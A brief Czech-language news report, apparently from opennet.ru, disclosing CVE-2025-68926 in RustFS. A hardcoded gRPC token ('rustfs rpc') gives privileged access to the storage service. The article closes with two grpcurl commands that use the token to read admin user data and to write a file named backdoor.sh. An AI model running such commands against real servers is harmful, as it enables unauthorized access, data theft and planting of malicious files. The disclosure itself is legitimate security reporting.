V projektu RustFS, které vyvíjí S3 kompatibilní distribuované objektové úložiště napsané v jazyce Rust, byla zjištěna zranitelnost (CVE-2025-68926), připomínající backdoor. Problém je způsoben přítomností hardcoded tokenu pro přístup v kódu, který umožňuje připojit se k síťové službě prostřednictvím protokolu gRPC, když se v hlavičce "authorization" uvede hodnota "rustfs rpc". Token byl přítomen v kódu serveru a klienta. Problému byla přiřazena kritická úroveň nebezpečí (9.8 z 10).
Útočník, který má přístup k síťovému portu gRPC, mohl použít uvedený token k provádění privilegovaných operací s úložištěm, mezi které patří odstraňování dat, manipulace s uživatelskými údaji a změna nastavení clusteru. Ve výchozím nastavení RustFS přijímá gRPC požadavky na TCP portu 9000 na všech síťových rozhraních. Zranitelnost byla napravena ve verzi RustFS 1.0.0-alpha.77. grpcurl -plaintext -H ‘authorization: rustfs rpc’ \ -d ‘{«access_key»: «admin»}’ \ localhost:9000 node_service.NodeService/LoadUser grpcurl -plaintext -H ‘authorization: rustfs rpc’ \ -d ‘{«volume»: «config», «path»: «backdoor.sh», «buf»: «…»}’ \ localhost:9000 node_service.NodeService/WriteAll
Zdroj: opennet.ru
